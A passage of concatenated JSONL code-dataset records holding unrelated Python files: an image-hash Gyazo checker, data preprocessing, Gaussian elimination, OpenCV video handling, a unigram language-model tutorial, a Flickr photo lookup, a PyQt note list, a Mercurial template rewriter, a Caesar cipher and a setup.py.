ft==\"csv\":\n\t\t\t\t\t\thashes=d.split(\",\")\n\t\t\t\t\t\tfor h in hashes:\n\t\t\t\t\t\t\tprintExists(h)\n\t\t\t\t\telse:printExists(d)\n\t\telse:print(\"Supplied path is not a file\")\n\telse:print(\"Supplied path does not exist\")\ndef checkDirValue(d,extensions=[\".png\"],ignore_case=True):\n\tif ignore_case:extensions=[ext.lower() for ext in extensions]\n\tfs={}\n\tif os.path.exists(d):\n\t\tif os.path.isdir(d):\n\t\t\tprint(\"Searching for files with any of the following extensions %s\"%extensions)\n\t\t\tprint(\"Ignoring case\" if ignore_case else \"Not ignoring case\")\n\t\t\tfor root,dirs,files in os.walk(d):\n\t\t\t\tprint(\"Checking %s for images\"%root)\n\t\t\t\tfor f in files:\n\t\t\t\t\tdata=os.path.splitext(f)\n\t\t\t\t\tif len(data)>1:\n\t\t\t\t\t\tif (ignore_case and (data[1].lower() in extensions)) or (not ignore_case and (data[1] in extensions)):\n\t\t\t\t\t\t\tfullpath=os.path.join(root,f)\n\t\t\t\t\t\t\tprint(\"\\tChecking %s\"%fullpath,end=\"\")\n\t\t\t\t\t\t\t#print(\"\\t\\tGetting MD5\",end=\"\")\n\t\t\t\t\t\t\tmday5=getMD5(fullpath)\n\t\t\t\t\t\t\t#print(\" %s\\n\\t\\tSearching Gyazo for %s\"%(mday5,mday5),end=\"\")\n\t\t\t\t\t\t\texists=gyazoMD5Exists(mday5)\n\t\t\t\t\t\t\tprint(\"\\tFOUND\" if exists else \"\\tNOT FOUND\")\n\t\t\t\t\t\t\tfs[fullpath]=(mday5,exists)\n\t\t\treturn fs\n\t\telse:print(\"Supplied path is not a directory\")\n\telse:print(\"Supplied path ain't existing\")\nargparser=argparse.ArgumentParser()\n#argparser.add_argument(\"-v\",action=\"store_true\",help=\"output verbosity\")\nargparser.add_argument(\"input\",type=str,help=\"the input md5 hash, directory or file containing hashes\")\nargparser.add_argument(\"-v\",\"--verbosity\",type=int,choices=[0,1,2],nargs='?',const=2)\nargparser.add_argument(\"-ft\",\"--filetype\",type=str,choices=[\"csv\",\"txt\"],help=\"determines how file input is parsed\")\nargparser.add_argument(\"-m\",\"--md5\",action=\"store_true\",help=\"force input type to md5 hash\")\nargparser.add_argument(\"-f\",\"--file\",action=\"store_true\",help=\"force input type to input file\")\nargparser.add_argument(\"-d\",\"--dir\",action=\"store_true\",help=\"force input type to input directory\")\nargs=argparser.parse_args()\nif args.md5:checkHexValue(args.input)\nelif args.file:checkFileValue(args.input,args.filetype)\nelif args.dir:checkDirValue(args.input)\nelse:\n\tif validHex(args.input):checkHexValue(args.input)\n\telif os.path.exists(args.input):\n\t\tif os.path.isfile(args.input):checkFileValue(args.input,args.filetype)\n\t\telif os.path.isdir(args.input):checkDirValue(args.input)\n\telse:print(\"Input is not a valid hex value or path\")","sub_path":"Image Data Storage/img_check.py","file_name":"img_check.py","file_ext":"py","file_size_in_byte":3560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"92126218","text":"# -*- coding: utf-8 -*-\nimport json\nimport csv\nfrom numpy import *\nfrom musigma import MUSIGMA_V,MUSIGMA_A\n\nsum_action_info = []\nsum_voice_info = []\nfin_action_info = []\nfin_voice_info = []\nbeat_info = []\ninfo = []\nmax_length = 73\n\ndef ReadActionInfo(file_name): \n action_info = []\n file = open('res/'+file_name)\n lines = file.readlines()\n action_info_index = -1\n for i in range(len(lines)):\n if i % 3 == 0:\n # 确定帧数\n action_info_index += 1\n action_info.append([])\n elif i % 3 == 1:\n # 存入中心点坐标,即每一帧的前三位\n lines[i] = lines[i].replace('\\n','')\n s = json.loads(lines[i])\n for coord in s:\n action_info[action_info_index].append(coord)\n else:\n # 存入每个关节的坐标\n lines[i] = lines[i].replace('\\n','')\n s = json.loads(lines[i])\n for joint in s:\n for coord in joint:\n action_info[action_info_index].append(coord)\n file.close()\n sum_action_info.append(action_info)\n\ndef ReadVoiceInfo(file_name): \n voice_info = []\n file = open('data1/'+file_name)\n lines = file.readlines()\n # print(len(lines))\n for line in lines:\n line = line.replace('\\n','')\n s = json.loads(line)\n voice_info.append(s)\n file.close()\n sum_voice_info.append(voice_info)\n # print('voice___info: ' + str(matrix(sum_voice_info).shape))\n\ndef ReadBeatInfo(file_name):\n file = open('beats/'+file_name)\n lines = file.readlines()\n beat_num = []\n for line in lines:\n line = line.replace('\\n','')\n beat_num.append(int(float(line)))\n beat_info.append(beat_num)\n file.close()\n\ndef WriteCsv():\n for i in range(len(fin_action_info)):\n info.append(fin_voice_info[i]+fin_action_info[i])\n print('info: ' + str(matrix(info).shape))\n csvfile = open('train.csv','w',newline=\"\")\n mywriter = csv.writer(csvfile,dialect='excel')\n mywriter.writerows(info)\n csvfile.close()\n\nfor i in range(23):\n ReadActionInfo(str(i+1))\n ReadVoiceInfo(str(i+1)+'.txt')\n ReadBeatInfo(str(i+1)+'_beat.txt')\n\nfor k in range(len(sum_voice_info)):\n N=len(sum_voice_info[k])\n N1=len(sum_voice_info[k][0])\n matrix_voice=array(sum_voice_info[k])\n for i in range(0,N1):\n for j in range(0,N):\n matrix_voice[j,i]= (matrix_voice[j,i] - MUSIGMA_V[i][0]) / MUSIGMA_V[i][1]; \n sum_voice_info[k]=matrix_voice.tolist()\n\nfor k in range(len(sum_action_info)):\n M=len(sum_action_info[k])\n M1=len(sum_action_info[k][0])\n matrix_action=array(sum_action_info[k])\n for i in range(0,M1):\n for j in range(0,M):\n matrix_action[j,i]= (matrix_action[j,i] - MUSIGMA_A[i][0]) / MUSIGMA_A[i][1]; \n sum_action_info[k]=matrix_action.tolist()\n\nfor i in range(len(beat_info)):\n le=(len(beat_info[i])-1)//10\n for j in range(len(beat_info[i])-1-le):\n start_num = len(fin_voice_info)\n fin_action_info += sum_action_info[i][beat_info[i][j]:beat_info[i][j+1]]\n fin_voice_info += sum_voice_info[i][beat_info[i][j]:beat_info[i][j+1]]\n\n for k in range(max_length-(beat_info[i][j+1]-beat_info[i][j])):\n action_zero = [0 for k in range(66)]\n voice_zero = [0 for k in range(19)]\n fin_action_info.append(action_zero)\n fin_voice_info.append(voice_zero)\n # 加入在动作中的帧号\n for l in range(max_length):\n fin_voice_info[start_num+l].append(l)\n\n# 加入在总体中的帧号\nfor i in range(len(fin_voice_info)):\n fin_voice_info[i].append(i)\n\nfor i in range(len(fin_voice_info)):\n if len(fin_voice_info[i]) != 21:\n print(len(fin_voice_info[i]))\nprint('final voice info: ' + str(matrix(fin_voice_info).shape))\nprint('final action info: ' + str(matrix(fin_action_info).shape))\n\n\nN=len(fin_voice_info)\nN1=len(fin_voice_info[0])\nmatrix_voice=array(fin_voice_info)\nfor i in range(19,N1):\n mu=average(matrix_voice[:,i]) \n sigma=std(matrix_voice[:,i])\n for j in range(0,N):\n matrix_voice[j,i] = (matrix_voice[j,i] - mu) / sigma; \nfin_voice_info=matrix_voice.tolist()\n\nWriteCsv()\n","sub_path":"create_csv_file.py","file_name":"create_csv_file.py","file_ext":"py","file_size_in_byte":4228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"82713662","text":"def gauss_elimination(X):\n A = X.copy()\n n, m = A.shape\n for i in range(0, n):\n # Search for maximum \n maxEl = abs(A[i][i])\n maxRow = i\n for k in range(i+1, n):\n if abs(A[k][i]) > maxEl:\n maxEl = abs(A[k][i])\n maxRow = k\n\n if i != maxRow:\n tmp = A[i, :].copy()\n A[i, :] = A[maxRow, :]\n A[maxRow, :] = tmp\n\n\n # 対角成分以下をゼロ\n for k in range(i+1, n):\n c = -A[k][i]/A[i][i]\n for j in range(i, n+1):\n if i == j:\n A[k][j] = 0\n else:\n A[k][j] += c * A[i][j]\n\n # Solve equation Ax=b\n x = [0 for i in range(n)]\n for i in range(n-1, -1, -1):\n x[i] = A[i][n]/A[i][i]\n for k in range(i-1, -1, -1):\n A[k][n] -= A[k][i] * x[i]\n return x","sub_path":"mathematical_computation101/code/gauss_elimination.py","file_name":"gauss_elimination.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"603065342","text":"\"\"\"\n%% Process video file\nfunction output = processVideoFile(filename, featureDesc, computeBool)\n\n Methods:\n readFrame - Read the next available frame from a video file.\n hasFrame - Determine if there is a frame available to read\n from a video file.\n getFileFormats - List of known supported video file formats.\n\n Properties:\n Name - Name of the file to be read.\n Path - Path of the file to be read.\n Duration - Total length of file in seconds.\n CurrentTime - Location from the start of the file of the current\n frame to be read in seconds.\n Tag - Generic string for the user to set.\n UserData - Generic field for any user-defined data.\n\n Height - Height of the video frame in pixels.\n Width - Width of the video frame in pixels.\n BitsPerPixel - Bits per pixel of the video data.\n VideoFormat - Video format as it is represented in MATLAB\n FrameRate - Frame rate of the video in frames per second.\n\"\"\"\n\n# Imports\nimport cv2\nimport processImage\nimport numpy as np\n\n\n# Read video file\nclass ReadVideoObject(object):\n videoObj = None\n videoObj_write = None\n\n def __init__(self, filename, feature_desc, filename_write):\n # Object Constructor\n self.filename = filename\n self.featureDesc = feature_desc\n self.filename_write = filename_write\n self.videoObj = cv2.VideoCapture(self.filename)\n print(\"Video reader object created\")\n\n # Read frame from video object\n # Recursive\n self.read_frame()\n # Release video object\n self.videoObj.release()\n # Destroy video objects\n self.videoObj.destroyAllWindows()\n print(\"Video reader object released\")\n # ret, frame = videoObj.read()\n\n def read_frame(self):\n # Read frame\n \"\"\"\n while(self.videoObj.isOpened()):\n ret, frame = self.videoObj.read()\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n cv2.imshow('frame', gray)\n \"\"\"\n\n while True:\n # Capture frame-by-frame\n ret, frame = self.videoObj.read()\n # Our operations on the frame come here\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n gray_t = np.transpose(gray)\n\n if self.filename_write is not None:\n four_cc = 'DIV3'\n fps = 30.0\n frame_size = np.shape(gray_t)\n color_bool = False\n self.videoObj_write = WriteVideoObject(self. filename_write, four_cc, fps, frame_size, color_bool)\n\n # Video writer\n self.videoObj_write.write_obj(gray_t)\n\n # Display the resulting frame\n cv2.imshow('frame', frame)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n self.videoObj_write.desc_obj()\n\n\n# Write video object\nclass WriteVideoObject:\n\n # Object Constructor\n def __init__(self, filename_write, four_cc, fps, frame_size, color_bool):\n self.filename_write = filename_write\n self.four_cc = cv2.VideoWriter_fourcc(*four_cc)\n self.frame_size = frame_size\n self.fps = fps\n self.color_bool = color_bool\n\n self.videoObj_write = cv2.VideoWriter(filename=self.filename_write, fourcc=self.four_cc,\n fps=self.fps, frameSize=self.frame_size, isColor=self.color_bool)\n print(\"Video writer object created\")\n\n # Write frame to video object\n def write_obj(self, frame):\n self.videoObj_write.write(frame)\n print(\"Video writer - writing frame to object\")\n\n def desc_obj(self):\n # Object Destructor\n self.videoObj_write.release()\n print(\"Video writer object released\")\n# End\n\n\n","sub_path":"FrameWork/Python/35/processVideoFile.py","file_name":"processVideoFile.py","file_ext":"py","file_size_in_byte":3867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"13681028","text":"def intersect(t1 , t2): \n result = () \n for e in t1:\n if e in t1:\n result += (e,)\n return result\n\ntub1 = (1 ,\"two\" , 3)\ntub2 = (tub1 , 3.25)\n\nprint(intersect(tub1, tub2))\nprint(tub1)\nprint(tub2)","sub_path":"PNotes/Tubles.py","file_name":"Tubles.py","file_ext":"py","file_size_in_byte":223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"506082241","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n dependencies = [\n ('resorts', '0023_auto_20151218_0446'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='resort',\n name='datetime_format',\n field=models.IntegerField(default=1, blank=True,\n choices=[(0, b'mm/dd/yyyy hh:mm:ss'), (1, b'dd/mm/yyyy hh:mm:ss')]),\n ),\n ]\n","sub_path":"project/apps/resorts/migrations/0024_resort_datetime_format.py","file_name":"0024_resort_datetime_format.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"472795424","text":"import sys\nimport collections\nimport math\n\n\nSTATUS = 'train'\nPATH = '/Users/zz_zhang/勉強会/NLPチュートリアル/NLPtutorial2020/test/'\nINPUT_FILE_NAME = '01-train-input.txt'\nANSWER_FILE_NAME = '01-train-answer.txt'\nMODEL_FILE_NAME = 'tutorial01.model'\nLAMBDA_1 = 0.95\nLAMBDA_UNK = 1 - LAMBDA_1\nV = 1000000\nW = 0\nH = 0\n\ndef train_unigram(train_file):\n\n gram_counter = collections.Counter()\n total_length = 0\n for line in train_file:\n temp = line.replace('\\n', '').split(' ') + ['
    ']\n gram_counter.update(temp)\n total_length += len(temp)\n # print(total_counter, gram_counter)\n gram_counter = dict(sorted(gram_counter.items()))\n\n with open(MODEL_FILE_NAME, 'w') as model_file:\n res = ''\n for word, count in gram_counter.items():\n temp = word + ' ' + str(float(count) / total_length) + '\\n'\n res += temp\n model_file.write(temp)\n\n print('Model training finished, written in {}.'.format(MODEL_FILE_NAME))\n return res\n print('Model training failed.')\n return -1\n\n\ndef test_unigram(test_file):\n with open(MODEL_FILE_NAME) as model_file:\n model = {}\n for line in model_file:\n temp = line.replace('\\n', '').split(' ')\n model[temp[0]] = float(temp[-1])\n model = collections.Counter(model)\n\n entropy = 0.0\n coverage = 0.0\n total_length = 0\n for line in test_file:\n words = line.replace('\\n', '').split(' ') + ['
    ']\n total_length += len(words)\n\n # calc entropy\n for word in words:\n p = LAMBDA_1 * model[word] + LAMBDA_UNK / V\n entropy -= math.log(p, 2)\n\n coverage += 1 if model[word] > 0 else 0\n\n entropy /= total_length\n coverage /= total_length\n # print(entropy, coverage)\n return 'entropy = ' + str(entropy) + '\\n' + 'coverage = ' + str(coverage) + '\\n'\n\n\ndef test(result, answer):\n detla = 1e-5\n items_r = result.replace('\\n', ' ').split(' ')\n items_a = answer.replace('\\n', ' ').replace('\\t', ' ').split(' ')\n\n if len(items_a) != len(items_r):\n return False\n for item_r, item_a in zip(items_r, items_a):\n try:\n r = float(item_r)\n a = float(item_a)\n if abs(r - a) > detla:\n return False\n except:\n if item_r != item_a:\n return False\n return True\n\n\nif __name__ == '__main__':\n if len(sys.argv) >= 2:\n STATUS = sys.argv[1]\n\n # STATUS = 'test'\n print(STATUS, 'mode.')\n if STATUS == 'train':\n func = train_unigram\n else:\n func = test_unigram\n INPUT_FILE_NAME = '01-test-input.txt'\n ANSWER_FILE_NAME = '01-test-answer.txt'\n\n with open(PATH + INPUT_FILE_NAME) as file:\n res = func(file)\n\n ans = ''\n with open(PATH + ANSWER_FILE_NAME) as ans_file:\n for line in ans_file:\n if len(line) > 1 and '#' not in line:\n ans += line\n if test(res, ans):\n print('Accept')\n else:\n print('Wrong Answer')\n\n","sub_path":"zzz/tutorial01/tutorial01.py","file_name":"tutorial01.py","file_ext":"py","file_size_in_byte":3169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"108099616","text":"import urllib.request, json\n\nSEARCH_URL = 'https://api.flickr.com/services/rest/?method=flickr.photos.search'\n\nAPI_PARAM = '&api_key='\nLAT_PARAM = '&lat='\nLON_PARAM = '&lon='\nPER_PAGE_PARAM = '&per_page='\nPAGE_PARAM = '&page='\nFORMAT_PARAM = '&format='\n\nAPI_KEY = 'b8b5ee365c39800a925944f298b44e92'\nPER_PAGE = '5'\nPAGE = '1'\nFORMAT = 'json'\n\n\n# This method is responsible to retrieve 5 photo ids\n# from flickr API and return it as an array of string.\n\n# latitude: the latitude of the user (String)\n# longitude: the longitude of the user (String)\n\n# returns: an array of string containing 5 ids of photos\n# nearby the given lat and lon.\n\ndef getPhotoId(latitude, longitude):\n # Build the url.\n url = SEARCH_URL + API_PARAM + API_KEY + LAT_PARAM + latitude + LON_PARAM + longitude + PER_PAGE_PARAM + PER_PAGE + PAGE_PARAM + PAGE + FORMAT_PARAM + FORMAT\n\n # Send a GET request to the url, and retrieve the JSON.\n # It is advised to print this variable in order to understand it better.\n retrieved = urllib.request.urlopen(url).read()\n\n # Strip the outer part of json, because it has a header that wraps the json.\n retrieved = retrieved[14:-1] # [14:-1] means that we perform a substring to the retrieved json\n # from index 14 (inclusive) to the last index (exclusive).\n # Read python substring docs for more info.\n\n\n # The actual retrieved json was just a string; therefore, it needs to be parsed into a real json.\n data = json.loads(retrieved)\n\n # Get the values of 'photos' from the json.\n # It is advised to print this variable in order to understand it better\n page = data['photos']\n\n # Get the array of photo from 'photos'.\n # It is advised to print this variable in order to understand it better\n photos = page['photo']\n\n # This for loop will get the id of each photo in the array,\n # and put it inside a new array named photo_id\n photo_id = []\n for photo in photos:\n photo_id.append(photo['id'])\n\n return photo_id\n","sub_path":"flickrcontroller.py","file_name":"flickrcontroller.py","file_ext":"py","file_size_in_byte":2058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"364848462","text":"\"\"\"\nProblem: #1.7\n\nRotate Matrix: Given an image represented by an NxN matrix, where each pixel in the image is 4 \nbytes, write a method to rotate the image by 90 degrees. Can you do this in place?\n\"\"\"\ndef swap_rows(matrix):\n n = len(matrix)\n for i in range(n // 2):\n matrix[i], matrix[n - i - 1] = matrix[n - i - 1], matrix[i]\n return matrix\n\ndef transpose_matrix(matrix):\n n = len(matrix)\n for i in range(n):\n for j in range(i):\n matrix[i][j], matrix[j][i] = matrix[j][i], matrix[i][j]\n return matrix\n\ndef rotate(matrix):\n return transpose_matrix(swap_rows(matrix))\n\nmatrix = [[11, 12, 13, 14], [21, 22, 23, 24], [31, 32, 33, 34], [41, 42, 43, 44]]\nprint(rotate(matrix))\n","sub_path":"arrays-and-strings/rotate-matrix.py","file_name":"rotate-matrix.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"293185305","text":"# !usr/bin/python3\n# -*- coding: utf-8 -*-\n\nimport sys\nimport os\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\n\nfrom service import NoteService\nfrom model import Note\n\n\nclass ListWindow(QWidget):\n \"\"\"\n 查看用户列表/公开笔记列表/用户笔记列表的窗口\n \"\"\"\n ALLUSERSLIST = 0\n ALLNOTESLIST = 1\n MYNOTESLIST = 2\n def __init__(self, main_window, window_type = ALLUSERSLIST):\n super().__init__()\n self.main_window = main_window\n self.window_type = window_type\n self.initUI()\n\n \n def initUI(self):\n self.set_items() # 设置元件\n self.set_layout() # 设置布局\n \n def set_items(self):\n \"\"\"\n 设置一个按钮和一个文本框\n \"\"\"\n self.back_button = QPushButton('Back', self)\n self.back_button.setFixedSize(self.back_button.sizeHint())\n if self.window_type == self.ALLUSERSLIST:\n # 返回 ‘Note Manager’窗口\n self.back_button.clicked.connect(self.main_window.to_init_window)\n elif self.window_type == self.ALLNOTESLIST:\n # 返回 ‘Public Note’窗口\n self.back_button.clicked.connect(\n self.main_window.get_public_notes)\n else:\n # 返回 ‘My Note’窗口\n self.back_button.clicked.connect(\n self.main_window.deal_with_my_notes) \n self.text_browser = QTextBrowser()\n self.set_text()\n \n def set_layout(self):\n \"\"\" \n 设置布局 \n \"\"\"\n # 水平布局\n hbox = QHBoxLayout()\n hbox.addWidget(self.back_button, 0, Qt.AlignRight) # 使用了右对齐\n # 竖直布局\n vbox = QVBoxLayout()\n vbox.addWidget(self.text_browser, 0)\n # 竖直布局\n vbox1 = QVBoxLayout()\n vbox1.addLayout(hbox)\n vbox1.addLayout(vbox)\n \n self.setLayout(vbox1)\n \n def set_text(self):\n \"\"\"\n 设置显示在文本框的内容\n \"\"\"\n self.__noteservice = NoteService()\n if self.window_type == self.ALLUSERSLIST:\n text = self.all_users_list()\n elif self.window_type == self.ALLNOTESLIST:\n text = self.all_notes_list()\n else:\n text = self.my_notes_list()\n self.text_browser.setText(text)\n \n def all_users_list(self):\n # 获得所有用户名\n user_names = self.__noteservice.list_all_users()\n for i, user_name in enumerate(user_names):\n user_names[i] = '{:^33}{:<30}'.format(str(i), user_name)\n \n return '\\n'.join(user_names)\n\n def all_notes_list(self):\n # 获得所有公开笔记\n notes = self.__noteservice.list_all_notes()\n for i, note in enumerate(notes):\n if note.get_note_permission() == Note.PUBLIC:\n note_permission = 'PUBLIC'\n else:\n note_permission = 'PRIVATE'\n # 序号 笔记名 权限 by 创建者\n notes[i] = '{:^10}{:<30}{:<15} by {:<20}'.format(str(i), \\\n note.get_note_name(), \\\n note_permission, \\\n note.get_user_name())\n return '\\n'.join(notes)\n\n def my_notes_list(self):\n # 获得用户所有笔记\n notes = self.__noteservice.list_notes_by_user(\n self.main_window.user_name)\n for i, note in enumerate(notes):\n if int(note[0]) == Note.PUBLIC:\n note_permission = 'PUBLIC'\n else:\n note_permission = 'PRIVATE'\n # 序号 笔记名 权限\n notes[i] = ' {:<20}{:<30}{:<25}'.format(str(i), note[1], \\\n note_permission)\n \n return '\\n'.join(notes)","sub_path":"task10GUI/src/NoteUI/list_window.py","file_name":"list_window.py","file_ext":"py","file_size_in_byte":4057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"439827106","text":"#!/usr/bin/env python3\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\n# This script can be used to Mozilla-fy Mercurial templates.\n\nimport pathlib\nimport shutil\nimport subprocess\nimport sys\n\n\nREMOVE_DIRS = {\n 'coal',\n 'monoblue',\n 'spartan',\n}\n\nREMOVE_FILES = {\n 'static/background.png',\n 'static/style-extra-coal.css',\n 'static/style-monoblue.css',\n}\n\nCOPY_FILES = {\n 'atom/pushlog.tmpl',\n 'atom/pushlogentry.tmpl',\n 'gitweb_mozilla/firefoxreleases.tmpl',\n 'gitweb_mozilla/pushlog.tmpl',\n 'gitweb_mozilla/repoinfo.tmpl',\n 'static/jquery-1.2.6.min.js',\n 'static/livemarks16.png',\n 'static/moz-logo-bw-rgb.svg',\n}\n\nREPLACEMENTS = [\n # Replace logo HTML.\n (b'\\nMercurial',\n b'\\n
    \\n'\n b' \\n'\n b' \"mercurial\"\\n'\n b' \\n'\n b'
    '),\n\n # Insert pushlog link in page header.\n (b'changelog |\\n',\n b'changelog |\\n'\n b'pushlog |\\n'),\n\n (b'changelog |\\n',\n b'changelog |\\n'\n b'pushlog |\\n'),\n]\n\n# Files in gitweb_mozilla where REPLACEMENTS should not apply.\nGITWEB_IGNORE_REPLACEMENTS = {\n 'firefoxreleases.tmpl',\n 'pushlog.tmpl',\n 'repoinfo.tmpl',\n}\n\n\ndef main(source_templates, vct_templates_path, new_templates_path):\n # source_templates is the canonical templates to start from.\n # vct_templates is hgtemplates/ from v-c-t.\n # new_templates_path is templates directory to write to. It could be\n # v-c-t's hgtemplates/.\n\n # vct_templates_path could be the same as new_templates_path and we\n # need to copy files from vct_templates path that may get removed below.\n # So make a copy of all files that may be nuked.\n backups = {}\n for f in COPY_FILES:\n p = vct_templates_path / f\n with p.open('rb') as fh:\n backups[f] = fh.read()\n\n # Ensure new_templates_path is empty.\n if new_templates_path.exists():\n # But take care not to nuke the .patches directory.\n if new_templates_path == vct_templates_path:\n for p in new_templates_path.iterdir():\n if p.name == '.patches':\n continue\n\n if p.is_dir():\n shutil.rmtree(p)\n else:\n p.unlink()\n else:\n shutil.rmtree(new_templates_path)\n\n new_templates_path.mkdir(parents=True, exist_ok=True)\n\n # Make a pristine copy from the canonical templates. In the case\n # where vct_templates_path == new_templates_path we can't simply\n # shutil.copytree() because the destination exists. So we copy everything\n # in the root directory separately.\n for p in source_templates.iterdir():\n if p.is_dir():\n shutil.copytree(p, new_templates_path / p.name)\n else:\n shutil.copyfile(p, new_templates_path / p.name)\n\n # Remove files and directories that we don't want.\n for d in sorted(REMOVE_DIRS):\n d = new_templates_path / d\n shutil.rmtree(d)\n\n for f in sorted(REMOVE_FILES):\n f = new_templates_path / f\n f.unlink()\n\n # Now nuke gitweb_mozilla and make a fresh copy from gitweb.\n gitweb_mozilla = new_templates_path / 'gitweb_mozilla'\n\n if gitweb_mozilla.exists():\n shutil.rmtree(gitweb_mozilla)\n\n shutil.copytree(new_templates_path / 'gitweb', gitweb_mozilla)\n\n # Create all new files.\n for f in sorted(COPY_FILES):\n dest = new_templates_path / f\n with dest.open('wb') as fh:\n fh.write(backups[f])\n\n # We need to track all files in the destination so `hg import` below works.\n # TODO we should perhaps be a bit more careful about committing in the case\n # where new_templates_path == vct_templates_path.\n subprocess.run(['hg', 'addremove', '.'],\n cwd=new_templates_path,\n check=True)\n subprocess.run(['hg', 'commit', '-m',\n 'hgtemplates: synchronize vanilla templates'])\n\n # Change the logo URL.\n for f in sorted(gitweb_mozilla.iterdir()):\n if f.suffix != '.tmpl':\n continue\n\n if f.name in GITWEB_IGNORE_REPLACEMENTS:\n continue\n\n with f.open('rb') as fh:\n s = fh.read()\n\n for search, replace in REPLACEMENTS:\n if search not in s:\n continue\n\n print('replacing %s... in %s' % (search[0:24], f))\n\n s = s.replace(search, replace)\n\n with f.open('wb') as fh:\n fh.write(s)\n\n print('committing automated transformations')\n subprocess.run(['hg', 'commit', '-m',\n 'hgtemplates: perform common rewrites'],\n cwd=new_templates_path,\n check=True)\n\n # Apply all our patches. The order of patches is defined by a series\n # file. Kinda like how MQ works.\n patch_dir = vct_templates_path / '.patches'\n series = patch_dir / 'series'\n\n with series.open('r') as fh:\n for line in fh:\n line = line.strip()\n if not line:\n continue\n\n patch_path = patch_dir / line\n\n with patch_path.open('rb') as fh:\n patch = fh.read()\n\n print('applying patch %s' % patch_path.name)\n sys.stdout.flush()\n\n subprocess.run(['hg', 'import', '-'],\n input=patch,\n cwd=new_templates_path.parent,\n check=True)\n sys.stderr.flush()\n sys.stdout.flush()\n\n\nif __name__ == '__main__':\n source_templates, vct_templates, new_templates = sys.argv[1:]\n\n main(pathlib.Path(source_templates),\n pathlib.Path(vct_templates),\n pathlib.Path(new_templates))\n","sub_path":"hgtemplates/.patches/mozify-templates.py","file_name":"mozify-templates.py","file_ext":"py","file_size_in_byte":6373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"170620502","text":"# Caesar Şifreleme / Şifre çözme Programı\r\n# 21.11.2017, ders uygulaması\r\n\r\n# Verilen mesajı Şifreleyen fonksiyon\r\ndef sifrele(mesaj):\r\n sifrelimesaj=\"\"\r\n boy=len(mesaj)\r\n for i in range(boy): #mesajdaki her harf için\r\n kod=ord(mesaj[i])\r\n kod=kod+3\r\n if kod>90: # X,Y,Z harfleri için A,B,C olmali\r\n kod=kod-26\r\n sifreliharf = chr(kod)\r\n if (mesaj[i]!=\" \"):\r\n sifrelimesaj=sifrelimesaj+sifreliharf\r\n else:\r\n sifrelimesaj=sifrelimesaj+\" \"\r\n\r\n return sifrelimesaj\r\n\r\n\r\n# Verilen Şifreli Mesajı Çözen fonksiyon\r\ndef sifreCoz(smesaj):\r\n duzmesaj=\"\"\r\n boy=len(smesaj)\r\n for i in range(boy): #mesajdaki her harf için\r\n kod=ord(smesaj[i])\r\n kod=kod-3\r\n if kod<65: # A,B,C harfleri için X,Y,Z olmalı\r\n kod=kod+26\r\n duzharf = chr(kod)\r\n if (smesaj[i]!=\" \"):\r\n duzmesaj=duzmesaj+duzharf\r\n else:\r\n duzmesaj=duzmesaj+\" \"\r\n\r\n return duzmesaj\r\n\r\n### ANA PROGRAM\r\nm=input(\"Mesajınız: \")\r\nc=sifrele(m)\r\nprint(\"Mesajınızın Sifreli Kodu :\",c)\r\n\r\nm=input(\"sifreli Mesajı girin: \")\r\nc=sifreCoz(m)\r\nprint(\"Mesajınız :\",c)\r\n","sub_path":"10_Ceaser_sifreleme.py","file_name":"10_Ceaser_sifreleme.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"348747022","text":"import platform\ntry:\n from setuptools import setup\nexcept ImportError:\n from distutils.core import setup\n\nrequirements = ['pyyaml']\ntests_require = ['mock']\n\n# Add Python 2.6 compatibility libraries\n(major, minor, rev) = platform.python_version_tuple()\nif float('%s.%s' % (major, minor)) < 2.7:\n requirements.append('argparse')\n requirements.append('logutils')\n tests_require.append('unittest2')\n\nsetup(name='helper',\n version='2.2.3',\n classifiers=[\n 'Development Status :: 5 - Production/Stable',\n 'Environment :: Console',\n 'Environment :: MacOS X',\n 'Environment :: No Input/Output (Daemon)',\n #'Environment :: Win32 (MS Windows)',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: BSD License',\n 'Natural Language :: English',\n 'Operating System :: MacOS',\n #'Operating System :: Microsoft :: Windows',\n 'Operating System :: POSIX',\n 'Operating System :: POSIX :: BSD',\n 'Operating System :: POSIX :: Linux',\n 'Operating System :: Unix',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 2.6',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.2',\n 'Programming Language :: Python :: 3.3',\n 'Programming Language :: Python :: Implementation :: CPython',\n 'Programming Language :: Python :: Implementation :: PyPy',\n 'Topic :: Software Development :: Libraries',\n 'Topic :: Software Development :: Libraries :: Python 